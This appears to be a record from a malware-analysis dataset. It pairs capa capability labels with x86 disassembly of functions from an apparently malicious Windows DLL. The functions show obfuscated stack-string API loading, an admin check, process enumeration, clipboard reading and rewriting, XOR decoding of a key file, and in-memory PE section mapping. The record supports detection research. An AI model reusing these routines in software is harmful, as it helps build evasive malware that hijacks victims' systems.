joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007bb3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push eax
mov dword [ebp - 0x14], 0x6e6e6f43
mov dword [ebp - 0x10], 0x47746365
mov dword [ebp - 0xc], 0x70756f72
mov byte [ebp - 8], 0
call fcn.10007a75
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0xc
call fcn.1010259e
leave
ret

Function at 0x10007e13
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x14], ebx
xor esi, esi
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10007e6b
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x10007e73
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp dword [ebp - 0x10], ebx
je 0x10007e84
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], ebx
cmp esi, ebx
je 0x10007e99
push 0x10163588
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], esi
call fcn.10104aa8
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
pop esi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret

Function at 0x100088a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 1
mov esi, str.SeShutdownPrivilege
push esi
mov edi, ecx
call fcn.10008041
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], 0x52455355
mov dword [ebp - 0xc], 0x642e3233
mov word [ebp - 8], 0x6c6c
mov byte [ebp - 6], 0
mov dword [ebp - 0x20], 0x74697845
mov dword [ebp - 0x1c], 0x646e6957
mov dword [ebp - 0x18], 0x4573776f
mov word [ebp - 0x14], 0x78
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push dword [ebp + 8]
call eax
push 0
push esi
mov ecx, edi
call fcn.10008041
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1010259e
leave
ret 4
Function at 0x10009226
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
xor ebx, ebx
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x10009254
xor al, al
jmp 0x100092aa
lea eax, [ebp - 0x12c]
push eax
push edi
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_Process32First
jmp 0x10009299
cmp dword [esi + 0x14], 0x10
jb 0x10009277
mov eax, dword [esi]
jmp 0x10009279
mov eax, esi
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.1010507e
pop ecx
pop ecx
test eax, eax
je 0x1000929f
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000926d
jmp 0x100092a1
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret
Function at 0x1000abea
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push 0xc
mov eax, 0x1011e47d
call fcn.101025ad
mov ebx, dword [ebp + 0x14]
mov eax, dword [0x1017c02c]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], eax
cmp dword [ebx*4 + 0x1017bae8], edi
jne 0x1000ad1e
push dword [ebp + 8]
call fcn.10007274
pop ecx
push edi
call esi
push 0x1017b9e0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1000ac50
push ebx
push 1
push 0x1017b9e0
call fcn.100071b5
add esp, 0xc
cmp ebx, edi
jne 0x1000ac50
xor eax, eax
jmp 0x1000ade9
push edi
call esi
push edi
push 0x80
push 3
push edi
push edi
push SysReAllocString
push 0x1017b9e0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x1017b1e8], eax
cmp eax, 0xffffffff
je 0x1000ac49
push edi
call esi
push edi
push dword [0x1017b1e8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [0x1017b1ec], eax
cmp eax, edi
jg 0x1000ac9e
push dword [0x1017b1e8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000ac49
push 4
push 0x3000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [0x1017b9d0], eax
call esi
push edi
push 0x1017b1f0
push dword [0x1017b1ec]
push dword [0x1017b9d0]
push dword [0x1017b1e8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call esi
push dword [0x1017b1e8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call esi
push dword [0x1017b1ec]
push dword [0x1017b9d0]
call fcn.10013531
push dword [0x1017b9d0]
call fcn.10010563
add esp, 0xc
mov dword [ebx*4 + 0x1017b9d8], eax
cmp eax, edi
je 0x1000ac49
mov dword [ebx*4 + 0x1017bae8], 1
push edi
call esi
push dword [ebp + 0xc]
push dword [ebx*4 + 0x1017b9d8]
call fcn.1001035a
pop ecx
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, edi
je 0x1000ade6
cmp ebx, edi
jne 0x1000ad62
push dword [ebp + 0x10]
push dword [ebp - 0x14]
push 2
push edi
push dword [0x10174510]
push 0x1017baf8
call eax
add esp, 0x18
mov dword [ebp - 0x10], eax
jmp 0x1000ade6
xor ebx, ebx
inc ebx
cmp dword [ebp + 0x14], ebx
jne 0x1000ade6
cmp word [0x1017b9d4], di
jbe 0x1000ade6
cmp dword [0x1017baf0], ebx
je 0x1000ac49
call fcn.1001523e
push eax
lea ecx, [ebp + 0x14]
call fcn.1000894f
movzx eax, word [0x1017b9d4]
push eax
push 0x1017baf8
lea eax, [ebp + 0x14]
push str._s:_d
push eax
mov dword [ebp - 4], edi
call fcn.1000a822
mov esi, dword [ebp + 0x14]
add esp, 0x10
cmp dword [esi - 4], ebx
jle 0x1000adc4
push dword [esi - 0xc]
lea ecx, [ebp + 0x14]
call fcn.10008977
mov esi, dword [ebp + 0x14]
push esi
call fcn.10104540
push eax
push esi
mov dword [0x1017baf0], ebx
call dword [ebp - 0x18]
add esp, 0xc
lea ecx, [esi - 0x10]
mov dword [0x1017baf0], edi
call fcn.10006dee
mov eax, dword [ebp - 0x10]
call fcn.10102685
ret
Function at 0x1000e226
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x40]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x1000e3bc
push edi
mov edi, 0x10000000
cmp ecx, 0x7c
je 0x1000e3bb
cmp ecx, 0x29
jne 0x1000e26a
cmp dword [esi + 0x10], 0
jne 0x1000e3bb
test dword [esi + 0x44], edi
jne 0x1000e26a
push 5
call fcn.1011db3a
pop ecx
jmp 0x1000e3a4
cmp ecx, 0x2e
jne 0x1000e285
push 5
lea ecx, [esi + 0x18]
call fcn.1000838d
mov ecx, esi
call fcn.1000971a
jmp 0x1000e3a4
cmp ecx, 0x5c
jne 0x1000e2e2
mov ecx, esi
call fcn.1000971a
mov eax, dword [esi + 0x44]
and eax, 0x80
je 0x1000e2b7
cmp byte [esi + 0x3e], 0x62
jne 0x1000e2b7
push 4
lea ecx, [esi + 0x18]
call fcn.1000838d
mov ecx, esi
call fcn.1000971a
jmp 0x1000e3ab
test eax, eax
je 0x1000e2d6
cmp byte [esi + 0x3e], 0x42
jne 0x1000e2d6
push 4
lea ecx, [esi + 0x18]
call fcn.1000838d
mov eax, dword [esi + 0x1c]
add eax, 8
xor dword [eax], 1
jmp 0x1000e2ab
mov ecx, esi
call fcn.1000d288
jmp 0x1000e3a4
cmp ecx, 0x5b
jne 0x1000e30c
mov ecx, esi
call fcn.1000971a
mov ecx, esi
call fcn.1000dfcf
cmp dword [esi + 0x40], 0x5d
je 0x1000e279
push 4
call fcn.1011db3a
pop ecx
jmp 0x1000e279
cmp ecx, 0x28
jne 0x1000e338
mov ecx, esi
call fcn.1000971a
mov ecx, esi
call fcn.10009741
cmp dword [esi + 0x40], 0x29
mov bl, al
je 0x1000e32f
push 5
call fcn.1011db3a
pop ecx
mov ecx, esi
call fcn.1000971a
jmp 0x1000e3a0
cmp ecx, 0x5e
jne 0x1000e344
push 2
jmp 0x1000e2a3
cmp ecx, 0x24
jne 0x1000e350
push 3
jmp 0x1000e2a3
cmp ecx, 0x2a
je 0x1000e398
cmp ecx, 0x2b
je 0x1000e398
cmp ecx, 0x3f
je 0x1000e398
cmp ecx, 0x7b
je 0x1000e398
cmp ecx, 0x7d
jne 0x1000e375
test dword [esi + 0x44], edi
jne 0x1000e375
push 6
jmp 0x1000e25f
cmp ecx, 0x5d
jne 0x1000e386
test dword [esi + 0x44], edi
jne 0x1000e386
push 4
jmp 0x1000e25f
movzx eax, byte [esi + 0x3e]
push eax
lea ecx, [esi + 0x18]
call fcn.1000c9ad
jmp 0x1000e279
push 0xa
call fcn.1011db3a
pop ecx
test bl, bl
je 0x1000e3ab
mov ecx, esi
call fcn.1000d31c
mov ecx, dword [esi + 0x40]
mov al, 1
mov bl, al
cmp ecx, 0xffffffff
jne 0x1000e240
pop edi
pop esi
pop ebx
ret
Function at 0x1000e560
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x40]
xor al, al
mov bl, 1
cmp ecx, 0xffffffff
je 0x1000e6f6
push edi
mov edi, 0x10000000
cmp ecx, 0x7c
je 0x1000e6f5
cmp ecx, 0x29
jne 0x1000e5a4
cmp dword [esi + 0x10], 0
jne 0x1000e6f5
test dword [esi + 0x44], edi
jne 0x1000e5a4
push 5
call fcn.1011db3a
pop ecx
jmp 0x1000e6de
cmp ecx, 0x2e
jne 0x1000e5bf
push 5
lea ecx, [esi + 0x18]
call fcn.1000838d
mov ecx, esi
call fcn.1000971a
jmp 0x1000e6de
cmp ecx, 0x5c
jne 0x1000e61c
mov ecx, esi
call fcn.1000971a
mov eax, dword [esi + 0x44]
and eax, 0x80
je 0x1000e5f1
cmp byte [esi + 0x3e], 0x62
jne 0x1000e5f1
push 4
lea ecx, [esi + 0x18]
call fcn.1000838d
mov ecx, esi
call fcn.1000971a
jmp 0x1000e6e5
test eax, eax
je 0x1000e610
cmp byte [esi + 0x3e], 0x42
jne 0x1000e610
push 4
lea ecx, [esi + 0x18]
call fcn.1000838d
mov eax, dword [esi + 0x1c]
add eax, 8
xor dword [eax], 1
jmp 0x1000e5e5
mov ecx, esi
call fcn.1000cc94
jmp 0x1000e6de
cmp ecx, 0x5b
jne 0x1000e646
mov ecx, esi
call fcn.1000971a
mov ecx, esi
call fcn.1000e49f
cmp dword [esi + 0x40], 0x5d
je 0x1000e5b3
push 4
call fcn.1011db3a
pop ecx
jmp 0x1000e5b3
cmp ecx, 0x28
jne 0x1000e672
mov ecx, esi
call fcn.1000971a
mov ecx, esi
call fcn.10009808
cmp dword [esi + 0x40], 0x29
mov bl, al
je 0x1000e669
push 5
call fcn.1011db3a
pop ecx
mov ecx, esi
call fcn.1000971a
jmp 0x1000e6da
cmp ecx, 0x5e
jne 0x1000e67e
push 2
jmp 0x1000e5dd
cmp ecx, 0x24
jne 0x1000e68a
push 3
jmp 0x1000e5dd
cmp ecx, 0x2a
je 0x1000e6d2
cmp ecx, 0x2b
je 0x1000e6d2
cmp ecx, 0x3f
je 0x1000e6d2
cmp ecx, 0x7b
je 0x1000e6d2
cmp ecx, 0x7d
jne 0x1000e6af
test dword [esi + 0x44], edi
jne 0x1000e6af
push 6
jmp 0x1000e599
cmp ecx, 0x5d
jne 0x1000e6c0
test dword [esi + 0x44], edi
jne 0x1000e6c0
push 4
jmp 0x1000e599
movzx eax, byte [esi + 0x3e]
push eax
lea ecx, [esi + 0x18]
call fcn.1000c9ad
jmp 0x1000e5b3
push 0xa
call fcn.1011db3a
pop ecx
test bl, bl
je 0x1000e6e5
mov ecx, esi
call fcn.1000d31c
mov ecx, dword [esi + 0x40]
mov al, 1
mov bl, al
cmp ecx, 0xffffffff
jne 0x1000e57a
pop edi
pop esi
pop ebx
ret
Function at 0x1000eb96
Capabilities:
Open clipboard
Read clipboard data
Write clipboard data

Disassembly:
push 0xa0
mov eax, 0x1011e847
call fcn.10102616
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp + 0x1c]
xor esi, esi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1000ed75
xor ebx, ebx
inc ebx
push ebx
call dword [sym.imp.USER32.dll_GetClipboardData]
mov dword [ebp - 0x6c], eax
cmp eax, esi
je 0x1000ed6f
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
cmp eax, esi
je 0x1000ed6f
push eax
lea ecx, [ebp - 0x64]
call fcn.1000b46e
push ebx
push edi
lea ecx, [ebp - 0x8c]
mov dword [ebp - 4], esi
call fcn.1000eb3a
push esi
push dword [ebp - 0x68]
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x2c]
push eax
mov byte [ebp - 4], bl
call fcn.1000ea94
add esp, 0x14
push ebx
push dword [ebp - 0x70]
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 2
call fcn.1000eb3a
push esi
push dword [ebp - 0x74]
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 3
call fcn.1000ea94
add esp, 0x14
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 4
call fcn.1000b4f3
push esi
push ebx
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.10009345
push ebx
push dword [ebp - 0x7c]
lea ecx, [ebp - 0x9c]
call fcn.1000eb3a
push esi
push dword [ebp - 0x78]
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 5
call fcn.1000ea94
add esp, 0x14
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.1000b4f3
push esi
push ebx
lea ecx, [ebp - 0x48]
call fcn.10009345
push dword [ebp - 0x6c]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov eax, dword [ebp - 0x1c]
inc eax
push eax
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push eax
mov dword [ebp - 0x68], eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
cmp dword [ebp - 0x18], 0x10
mov ecx, dword [ebp - 0x2c]
jae 0x1000ecf8
lea ecx, [ebp - 0x2c]
push ecx
push eax
call fcn.101045d0
pop ecx
pop ecx
push dword [ebp - 0x68]
call edi
push dword [ebp - 0x68]
push ebx
call dword [sym.imp.USER32.dll_SetClipboardData]
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 7
call fcn.1000810b
lea ecx, [ebp - 0x90]
call fcn.10006ef1
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 8
call fcn.1000810b
lea ecx, [ebp - 0xa0]
call fcn.10006ef1
push esi
push ebx
lea ecx, [ebp - 0x2c]
call fcn.10009345
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 9
call fcn.1000810b
lea ecx, [ebp - 0x80]
call fcn.10006ef1
push esi
push ebx
lea ecx, [ebp - 0x64]
call fcn.10009345
call dword [sym.imp.USER32.dll_CloseClipboard]
call fcn.10102699
ret
Function at 0x1000ee8c
Capabilities:
Create thread

Disassembly:
xor eax, eax
cmp byte [0x1017b5c5], al
jne 0x1000eeb4
push eax
push eax
push eax
push 0x1000ed7b
push eax
push eax
mov byte [0x1017b5c5], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ret
Function at 0x1000fba1
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push str.C:ProgramDatakey.key
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x1000fc1c
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.10014168
pop ecx
push ebx
mov esi, eax
lea eax, [ebp - 8]
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x1000fc07
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x1000fbfe
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.1000fb57
push esi
mov ebx, eax
call fcn.10014173
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret

Function at 0x1000fc2a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp byte [esi], 0x31
push edi
mov edi, ecx
jne 0x1000fc3e
call fcn.1000fba1
cmp byte [esi], 0x2d
jne 0x1000fc4a
mov ecx, edi
call fcn.1000fe56
cmp byte [esi], 0x30
jne 0x1000fc5a
push str.C:ProgramDatakey.key
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [esi], 0x32
jne 0x1000fc69
mov dword [0x10174b6c], 1
cmp byte [esi], 0x33
jne 0x1000fc75
and dword [0x10174b6c], 0
cmp dword [0x10174b6c], 0
je 0x1000fc97
push 0x4d2
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000fb40
mov ecx, edi
call fcn.1000fba1
pop edi
pop esi
pop ebp
ret 8

Function at 0x1000fd12
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push esi
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], ecx
call fcn.10013a7b
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
xor ebx, ebx
push eax
mov dword [ebp - 0x24], 0x4e52454b
mov dword [ebp - 0x20], 0x32334c45
mov dword [ebp - 0x1c], 0x6c6c642e
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x14], 0x61657243
mov dword [ebp - 0x10], 0x76456574
mov dword [ebp - 0xc], 0x41746e65
mov byte [ebp - 8], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push 1
push ebx
call eax
mov ecx, dword [ebp - 4]
mov dword [esi + 8], eax
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1010259e
leave
ret 4
Function at 0x1000fd9b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
mov esi, ecx
push eax
mov dword [esi], vtable.CManager.0
mov dword [ebp - 0x20], 0x4e52454b
mov dword [ebp - 0x1c], 0x32334c45
mov dword [ebp - 0x18], 0x6c6c642e
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x736f6c43
mov dword [ebp - 0xc], 0x6e614865
mov dword [ebp - 8], 0x656c64
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esi + 8]
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1010259e
leave
ret

Function at 0x1000fe7f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x50], eax
mov eax, dword [ebx + 4]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x44], eax
push edi
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], 0x4e52454b
mov dword [ebp - 0x24], 0x32334c45
mov dword [ebp - 0x20], 0x6c6c642e
mov byte [ebp - 0x1c], 0
mov dword [ebp - 0x38], 0x74726956
mov dword [ebp - 0x34], 0x416c6175
mov dword [ebp - 0x30], 0x636f6c6c
mov byte [ebp - 0x2c], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x4356534d
mov dword [ebp - 0x14], 0x642e5452
mov word [ebp - 0x10], 0x6c6c
mov byte [ebp - 0xe], 0
mov dword [ebp - 0xc], 0x736d656d
mov word [ebp - 8], 0x7465
mov byte [ebp - 6], 0
call esi
push eax
call edi
and dword [ebp - 0x40], 0
mov dword [ebp - 0x4c], eax
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
lea esi, [ecx + eax + 0x28]
xor ecx, ecx
cmp cx, word [eax + 6]
jae 0x1000ffb4
mov edi, 0x1000
mov eax, dword [esi]
test eax, eax
jne 0x1000ff77
mov eax, dword [ebp - 0x50]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x3c], eax
test eax, eax
jle 0x1000ffa3
push 4
push edi
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 0x44]
push eax
call dword [ebp - 0x48]
push dword [ebp - 0x3c]
mov dword [esi - 8], eax
push 0
push eax
call dword [ebp - 0x4c]
add esp, 0xc
jmp 0x1000ffa3
push 4
push edi
push eax
mov eax, dword [esi - 4]
add eax, dword [ebp - 0x44]
push eax
call dword [ebp - 0x48]
mov ecx, dword [esi + 4]
push dword [esi]
add ecx, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
push ecx
mov ecx, dword [0x1017c164]
push eax
call fcn.10010768
mov eax, dword [ebp - 0x3c]
mov dword [esi - 8], eax
mov eax, dword [ebx]
movzx eax, word [eax + 6]
inc dword [ebp - 0x40]
add esi, 0x28
cmp dword [ebp - 0x40], eax
jl 0x1000ff45
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1010259e
leave
ret
Function at 0x1000ffc2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x10179c00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebx]
movzx ecx, word [eax + 0x14]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0x38], eax
push edi
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x4e52454b
mov dword [ebp - 0x10], 0x32334c45
mov dword [ebp - 0xc], 0x6c6c642e
mov byte [ebp - 8], 0
mov dword [ebp - 0x20], 0x74726956
mov dword [ebp - 0x1c], 0x466c6175
mov dword [ebp - 0x18], 0x656572
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x30], 0x74726956
mov dword [ebp - 0x2c], 0x506c6175
mov dword [ebp - 0x28], 0x65746f72
mov word [ebp - 0x24], 0x7463
mov byte [ebp - 0x22], 0
call esi
push eax
call edi
and dword [ebp - 0x3c], 0
mov dword [ebp - 0x44], eax
mov eax, dword [ebx]
xor ecx, ecx
cmp cx, word [eax + 6]
jae 0x1001010f
mov ecx, dword [ebp - 0x38]
add ecx, 0x24
mov dword [ebp - 0x38], ecx
mov esi, dword [ecx]
mov dword [ebp - 0x34], esi
mov edi, esi
mov edx, dword [ebp - 0x34]
shr esi, 0x1d
shr edi, 0x1e
shr edx, 0x1f
and esi, 1
and edi, 1
test dword [ebp - 0x34], 0x2000000
mov dword [ebp - 0x40], edx
je 0x100100aa
push 0x4000
push dword [ecx - 0x14]
push dword [ecx - 0x1c]
call dword [ebp - 0x48]
jmp 0x100100f4
test dword [ebp - 0x34], 0x4000000
lea edx, [edi + esi*2]
mov esi, dword [ebp - 0x40]
lea edx, [esi + edx*2]
mov esi, dword [edx*4 + 0x10174d24]
je 0x100100c9
or esi, 0x200
mov edx, dword [ecx - 0x14]
test edx, edx
jne 0x100100e8
test byte [ebp - 0x34], 0x40
je 0x100100db
mov edx, dword [eax + 0x20]
jmp 0x100100e4
test byte [ebp - 0x34], 0x80
je 0x100100f7
mov edx, dword [eax + 0x24]
test edx, edx
je 0x100100f7
lea eax, [ebp - 0x4c]
push eax
push esi
push edx
push dword [ecx - 0x1c]
call dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebx]
movzx edx, word [eax + 6]
inc dword [ebp - 0x3c]
add ecx, 0x28
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0x3c], edx
jl 0x10010075
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1010259e
leave
ret